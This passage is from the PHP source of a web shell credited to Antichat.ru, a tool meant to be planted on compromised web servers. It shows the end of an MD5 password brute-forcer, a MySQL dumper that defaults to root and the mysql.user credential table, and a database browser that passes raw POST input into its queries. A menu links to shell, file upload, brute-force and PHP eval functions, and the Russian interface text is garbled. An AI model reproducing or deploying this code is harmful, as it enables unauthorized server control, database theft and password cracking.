
  585. for ($i27 = 0; $i27 <= $c; $i27++) {

    586. 

  586. $word[27] = $chars_de{$i27};

    587. 

  587. if ($next <= 27) {

    588. 

  588. result(implode($word));

    589. 

  589. }else {

    590. 

  590. for ($i28 = 0; $i28 <= $c; $i28++) {

    591. 

  591. $word[28] = $chars_de{$i28};

    592. 

  592. if ($next <= 28) {

    593. 

  593. result(implode($word));

    594. 

  594. }else {

    595. 

  595. for ($i29 = 0; $i29 <= $c; $i29++) {

    596. 

  596. $word[29] = $chars_de{$i29};

    597. 

  597. if ($next <= 29) {

    598. 

  598. result(implode($word));

    599. 

  599. }else {

    600. 

  600. for ($i30 = 0; $i30 <= $c; $i30++) {

    601. 

  601. $word[30] = $chars_de{$i30};

    602. 

  602. if ($next <= 30) {

    603. 

  603. result(implode($word));

    604. 

  604. }else {

    605. 

  605. for ($i31 = 0; $i31 <= $c; $i31++) {

    606. 

  606. $word[31] = $chars_de{$i31};

    607. 

  607. if ($next <= 31) {

    608. 

  608. result(implode($word));

    609. 

  609. }}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}

    610. 

  610. 

    611. 

  611. function result($word) {

    612. 

  612. global $dat,$date;

    613. 

  613. $pass_de = $_POST[pass_de];

    614. 

  614. $dat2 = date("H:i:s");

    615. 

  615. $date2 = date("d:m:Y");

    616. 

  616. 

    617. 

  617. if(md5($word) == $pass_de){

    618. 

  618. echo "<STYLE>BODY{background-color: #2b2f34;color: #9acd32;</STYLE><table><tr><td>????????? ?????????? ???????? ???????:</td></tr>

    619. 

  619. <tr><td>?????????????? ??????:</b></td><td><font color=red>&nbsp;&nbsp;$word</font></td></tr>

    620. 

  620. <tr><td>?????? ????????:</td><td>&nbsp;&nbsp;$dat - $date</td></tr>

    621. 

  621. <tr><td>????????? ????????:</td><td>&nbsp;&nbsp;$dat2 - $date2</td></tr>

    622. 

  622. <tr><td>?????????? ???????? ????? ??????? ? ????:  ".$word."_md5</td></tr></table>";

    623. 

  623. $f = @fopen($word._md5,"a+");

    624. 

  624. fputs($f,"??? ?? MD5 [$pass_de] = $word

    625. 

  625. ?????? ????????:\t$dat - $date

    626. 

  626. ????????? ????????:\t$dat2 - $date2");

    627. 

  627. exit;

    628. 

  628. }}

    629. 

  629. 

    630. 

  630. //Mysql

    631. 

  631. 

    632. 

  632. if($action == 'mysql') {

    633. 

  633. if(isset($_POST['dif'])) {

    634. 

  634. 	$fp = @fopen($_POST['dif_name'], "w");

    635. 

  635. }

    636. 

  636.   if((!empty($_POST['dif']) && $fp) || (empty($_POST['dif']))) {

    637. 

  637.   $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']);

    638. 

  638.   if($db) {

    639. 

  639.    if(@mysql_select_db($_POST['mysql_db'],$db)) {

    640. 

  640.      $sql1 .= "# ---------------------------------\r\n";

    641. 

  641.      $sql1 .= "#     date : ".date ("j F Y g:i")."\r\n";

    642. 

  642.      $sql1 .= "# database : ".$_POST['mysql_db']."\r\n";

    643. 

  643.      $sql1 .= "#    table : ".$_POST['mysql_tbl']."\r\n";

    644. 

  644.      $sql1 .= "# ---------------------------------\r\n\r\n";

    645. 

  645. 

    646. 

  646.      $res   = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);

    647. 

  647.      $row   = @mysql_fetch_row($res);

    648. 

  648.      $sql1 .= $row[1]."\r\n\r\n";

    649. 

  649.      $sql1 .= "# ---------------------------------\r\n\r\n";

    650. 

  650. 

    651. 

  651.      $sql2 = '';

    652. 

  652. 

    653. 

  653.      $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);

    654. 

  654.      if (@mysql_num_rows($res) > 0) {

    655. 

  655.      while ($row = @mysql_fetch_assoc($res)) {

    656. 

  656.      $keys = @implode("`, `", @array_keys($row));

    657. 

  657.      $values = @array_values($row);

    658. 

  658.      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}

    659. 

  659.      $values = @implode("', '", $values);

    660. 

  660.      $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n";

    661. 

  661.      }

    662. 

  662.      $sql2 .= "\r\n# ---------------------------------";

    663. 

  663.      }

    664. 

  664.      $content .="<center><b>??????! ???? ?????? ??????!</b></center>";

    665. 

  665.     if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }

    666. 

  666.     else { echo $sql1.$sql2; }

    667. 

  667.     } // end if(@mysql_select_db($_POST['mysql_db'],$db))

    668. 

  668.     else $content.="<center><b>????? ?? ???!</b></center>";

    669. 

  669.    @mysql_close($db);

    670. 

  670.    }

    671. 

  671.  } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){

    672. 

  672.  else if(!empty($_POST['dif'])&&!$fp) { $content.="<center><b>??????, ??? ???? ?????? ? ????!</b></center>"; }

    673. 

  673. 

    674. 

  674. $content.="<form name='mysql_dump' action='$php_self' method='post'>

    675. 

  675. <input type='hidden' name='action' value='$action'>

    676. 

  676. &nbsp;????: <input type=text name=mysql_db size=15 value=";

    677. 

  677. $content .=(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"));

    678. 

  678. $content .=">&nbsp;???????: &nbsp;<input type=text name=mysql_tbl size=15 value=";

    679. 

  679. $content .=(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"));

    680. 

  680. $content .=">&nbsp;?????: &nbsp;<input type=text name=mysql_l size=15 value=";

    681. 

  681. $content .=(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"));

    682. 

  682. $content .=">&nbsp;??????: &nbsp;<input type=text name=mysql_p size=15 value=";

    683. 

  683. $content .=(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"));

    684. 

  684. $content .="><input type=hidden name=dir size=85 value=".$dir.">

    685. 

  685. <input type=hidden name=cmd size=85 value=mysql_dump>

    686. 

  686. <br>&nbsp;????????? ???? ? ?????: <input type=checkbox name=dif value=1 id=dif><input type=text name=dif_name size=80 value=";

    687. 

  687. $content .=(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"));

    688. 

  688. $content .="><input type=submit name=submit value=?????????></form>";

    689. 

  689. 

    690. 

  690. @$php_self = $_POST['PHP_SELF'];

    691. 

  691. @$from = $_POST['from'];

    692. 

  692. @$to = $_POST['to'];

    693. 

  693. @$adress = $_POST['adress'];

    694. 

  694. @$port = $_POST['port'];

    695. 

  695. @$login = $_POST['login'];

    696. 

  696. @$pass = $_POST['pass'];

    697. 

  697. @$adress = $_POST['adress'];

    698. 

  698. @$port = $_POST['port'];

    699. 

  699. @$login = $_POST['login'];

    700. 

  700. @$pass = $_POST['pass'];

    701. 

  701. if(!isset($adress)){

    702. 

  702. 	$adress="localhost";

    703. 

  703. }

    704. 

  704. if(!isset($login)){

    705. 

  705. 	$login="root";

    706. 

  706. }

    707. 

  707. if(!isset($pass)){

    708. 

  708. 	$pass="";

    709. 

  709. }

    710. 

  710. if(!isset($port)){

    711. 

  711. 	$port="3306";

    712. 

  712. }

    713. 

  713. if(!isset($from)){

    714. 

  714. $from=0;

    715. 

  715. }

    716. 

  716. if(!isset($to)){

    717. 

  717. 	$to=50;

    718. 

  718. }

    719. 

  719. 

    720. 

  720. if(!@$conn) {

    721. 

  721. $content .="<form name='mysql_dump' action='$php_self' method='post'>

    722. 

  722. <table><tr><td valign=top>

    723. 

  723. <input type='hidden' name='action' value='$action'>

    724. 

  724. <input type=hidden name=ac value=sql>

    725. 

  725. <tr><td valign=top>????: &nbsp;&nbsp;&nbsp;&nbsp;<input name=adress value='$adress' size=20>

    726. 

  726. <tr><td valign=top>????: &nbsp;&nbsp;&nbsp;&nbsp;<input name=port value='$port' size=20>

    727. 

  727. <tr><td valign=top>?????: &nbsp;&nbsp;<input name=login value='$login' size=20>

    728. 

  728. <tr><td valign=top>??????: <input name=pass value='$pass' size=20>

    729. 

  729. <input type=hidden name=p value=sql></td></tr>

    730. 

  730. <tr><td></td><td><input type=submit name=conn value=????????????></form></td></tr>

    731. 

  731. </table>";

    732. 

  732. }

    733. 

  733. @$conn = $_POST['conn'];

    734. 

  734. @$adress = $_POST['adress'];

    735. 

  735. @$port = $_POST['port'];

    736. 

  736. @$login = $_POST['login'];

    737. 

  737. @$pass = $_POST['pass'];

    738. 

  738. if($conn){

    739. 

  739. 

    740. 

  740. $serv = @mysql_connect("$adress:$port", "$login", "$pass") or die("??????: ".mysql_error());

    741. 

  741. if($serv) {

    742. 

  742. $content .="<form name='conn' action='$php_self' method='post'><input type=hidden name=conn value=0>

    743. 

  743. <input type='hidden' name='action' value='$action'>

    744. 

  744. ??????: ????????? : <input type=submit name=exit value='????? ?? ????'></form>

    745. 

  745. <table><tr><td><font color=red>[???????]</font><br></br>";

    746. 

  746. }

    747. 

  747. $res = mysql_list_dbs($serv);

    748. 

  748. while ($str=mysql_fetch_row($res)){

    749. 

  749. $content .= "<table><a href=\"#\" onclick=\"document.dump1.db.value='$str[0]';document.dump1.tbl.value='$str[0]';document.dump1.submit();\">$str[0]</a></table>";

    750. 

  750. @$tc++;

    751. 

  751. }

    752. 

  752. $content .="<form name='dump1' action='$php_self' method='POST'>

    753. 

  753. <input type='hidden' name='action' value='$action'>

    754. 

  754. <input type=hidden name=ac value=sql>

    755. 

  755. <input name=base value='1' type=hidden>

    756. 

  756. <input name=db value='$str[0]' type=hidden>

    757. 

  757. <input name=p value='sql' type=hidden>

    758. 

  758. <input name=adress value='$adress' type=hidden>

    759. 

  759. <input name=port value='$port' type=hidden>

    760. 

  760. <input name=login value='$login' type=hidden>

    761. 

  761. <input name=pass value='$pass' type=hidden>

    762. 

  762. <input name=conn value='1' type=hidden>

    763. 

  763. <input name=tbl value='$str[0]' type=hidden></form>";

    764. 

  764. 

    765. 

  765. @$base = $_POST['base'];

    766. 

  766. @$db = $_POST['db'];

    767. 

  767. $content .="<br></br><font color=red>[????? ??????: $tc]</font>";

    768. 

  768. if($base){

    769. 

  769. $content .="<br></br><font color=red>???????: [$tbl]</font><br>";

    770. 

  770. $result = mysql_list_tables($db);

    771. 

  771. while($str=mysql_fetch_array($result)){

    772. 

  772. $c = mysql_query ("SELECT COUNT(*) FROM $str[0]");

    773. 

  773. $records = mysql_fetch_array($c);

    774. 

  774. $content .="<table><font color=red>[$records[0]]</font><a href=\"#\" onclick=\"document.dump2.vn.value='$str[0]';document.dump2.tbl.value='$str[0]';document.dump2.submit();\">$str[0]</a></table>";

    775. 

  775. mysql_free_result($c);

    776. 

  776. }}

    777. 

  777. $content .="<form name='dump2' action='$php_self' method='post'>

    778. 

  778. <input type='hidden' name='action' value='$action'>

    779. 

  779. <input type=hidden name=ac value=sql>

    780. 

  780. <input name=inside value='1' type=hidden>

    781. 

  781. <input name=base value='1' type=hidden>

    782. 

  782. <input name=vn value='$str[0]' type=hidden>

    783. 

  783. <input name=db value='$db' type=hidden>

    784. 

  784. <input name=p value='sql' type=hidden>

    785. 

  785. <input name=adress value='$adress' type=hidden>

    786. 

  786. <input name=port value='$port' type=hidden>

    787. 

  787. <input name=login value='$login' type=hidden>

    788. 

  788. <input name=pass value='$pass' type=hidden>

    789. 

  789. <input name=tbl value='$str[0]' type=hidden>

    790. 

  790. <input name=conn value='1' type=hidden></form>";

    791. 

  791. 

    792. 

  792. @$vn = $_POST['vn'];

    793. 

  793. $content .= "<td valign=top>???? ??????: $db => $vn<br>";

    794. 

  794. @$inside = $_POST['inside'];

    795. 

  795. @$tbl = $_POST['tbl'];

    796. 

  796. if($inside){

    797. 

  797. $content .= "<table cellpadding=0 cellspacing=1><tr>";

    798. 

  798. 

    799. 

  799. mysql_select_db($db) or die(mysql_error());

    800. 

  800. $c = mysql_query ("SELECT COUNT(*) FROM $tbl");

    801. 

  801. $cfa = mysql_fetch_array($c);

    802. 

  802. mysql_free_result($c);

    803. 

  803. $content .= "?????: $cfa[0]<form name='mysql_dump' action='$php_self' method='post'>

    804. 

  804. <input type='hidden' name='action' value='$action'>

    805. 

  805. <input type=hidden name=ac value=sql>

    806. 

  806. ??: <input name=from size=3 value=0>

    807. 

  807. ??: <input name=to size=3 value=$cfa[0]>

    808. 

  808. <input type=submit name=show value='?????????'>

    809. 

  809. <input type=hidden name=inside value=1>

    810. 

  810. <input type=hidden name=vn value=$vn>

    811. 

  811. <input type=hidden name=db value=$db>

    812. 

  812. <input type=hidden name=login value=$login>

    813. 

  813. <input type=hidden name=pass value=$pass>

    814. 

  814. <input type=hidden name=adress value=$adress>

    815. 

  815. <input type=hidden name=conn value=1>

    816. 

  816. <input type=hidden name=base value=1>

    817. 

  817. <input type=hidden name=p value=sql>

    818. 

  818. <input type=hidden name=tbl value=$tbl>

    819. 

  819. </form>";

    820. 

  820. @$vn = $_POST['vn'];

    821. 

  821. @$from = $_POST['from'];

    822. 

  822. @$to = $_POST['to'];

    823. 

  823. @$from = $_POST['from'];

    824. 

  824. @$to = $_POST['to'];

    825. 

  825. if(!isset($from)){

    826. 

  826. 	$from=0;

    827. 

  827. }

    828. 

  828. if(!isset($to)){

    829. 

  829. 	$to=50;

    830. 

  830. }

    831. 

  831. $query = "SELECT * FROM $vn LIMIT $from,$to";

    832. 

  832. $result = mysql_query($query);

    833. 

  833. for ($i=0;$i<mysql_num_fields($result);$i++){

    834. 

  834. $name = mysql_field_name($result,$i);

    835. 

  835. $content .="<td>&nbsp;</td><td bgcolor=#44474f><font color=red> $name </font></td> ";

    836. 

  836. }

    837. 

  837. while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){

    838. 

  838. $content .= "<tr>";

    839. 

  839. foreach ($mn as $come=>$lee) {

    840. 

  840. $nst_inside = htmlspecialchars($lee);

    841. 

  841. $content .= "<td>&nbsp;</td><td bgcolor=#44474f>$nst_inside</td>\r\n";

    842. 

  842. }

    843. 

  843. }

    844. 

  844. mysql_free_result($result);

    845. 

  845. $content .= "</table>";

    846. 

  846. }}}

    847. 

  847. 

    848. 

  848. //end function

    849. 

  849. 

    850. 

  850. ?><?=$header;?>

    851. 

  851. 

    852. 

  852. <table width="100%" bgcolor="#31333b"  align="right" border="0" cellspacing="0" cellpadding="0"><tr><td>

    853. 

  853. <table><tr><td><a href="#" onclick="document.reqs.action.value='shell';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Shell |. </a></td>

    854. 

  854. <td><a href="#" onclick="document.reqs.action.value='viewer';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Viewer |.</a></td>

    855. 

  855. <td><a href="#" onclick="document.reqs.action.value='editor';document.reqs.file.value='<?=$file;?>';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Editor |.</a></td>

    856. 

  856. <td><a href="#" onclick="document.reqs.action.value='upload';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Upload |.</a></td>

    857. 

  857. <td><a href="#" onclick="document.reqs.action.value='brute';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Brute |.</a></td>

    858. 

  858. <td><a href="#" onclick="document.reqs.action.value='mysql';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Mysql Dumper|.</a></td>

    859. 

  859. <td><a href="#" onclick="document.reqs.action.value='phpeval';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Php Eval |.</a></td>

    860. 

  860. <td><a href="#" onclick="history.back();">.| <-back |.</a></td><td><a href="#" onclick="history.forward();">.| forward->|.</a></td></tr></table>

    861. 

  861. </td></tr></table>

    862. 

  862. <br /><form name='reqs' method='POST'><input name='action' type='hidden' value=''><input name='dir' type='hidden' value=''><input name='file' type='hidden' value=''></form>

    863. 

  863. <table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#363940 borderColorLight=#c0c0c0 border=1>

    864. 

  864. <tr><td>Safe mode: <?php echo $safe_mode;?><br>Disable functions: <?php echo $disfunc;?><br>OS: <?php echo @php_uname();?><br>Server: <?php echo @getenv("SERVER_SOFTWARE")?>

    865. 

  865. <br>Id: <?php echo "Uid=".getmyuid(). " Gid=".getmygid(); ?><br><? echo 'Server: '.@gethostbyname($_SERVER["HTTP_HOST"]).' You: '.$_SERVER['REMOTE_ADDR'].' XFF: '.@gethostbyaddr($HTTP_X_FORWARDED_FOR).' ';?>

    866. 

  866. <br> Status: <?php echo @$stdata;?></td></tr></table>

    867. 

  867. <table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#363940 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?=$content;?>

    868. 

  868. <br></table>

    869. 

  869. <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#44474f BORDER=1 width=100% align=center bordercolor=#808080 bordercolorlight=black bordercolordark=#44474f><tr><td>

    870. 

  870. <center><font color='#9acd32' face='Tahoma' size = 1><b>| Copyright by <a href="http://www.antichat.ru" title="antichat">Antichat.ru</a> | Made by Grinay | Modified by <s>Go0o$E</s><br/>Last update by <b>Isis</b> |</b></font></center></td></tr></table>

    871. 

  871. 

    872. 

  872. <?=$footer;?>

    873. 

  873.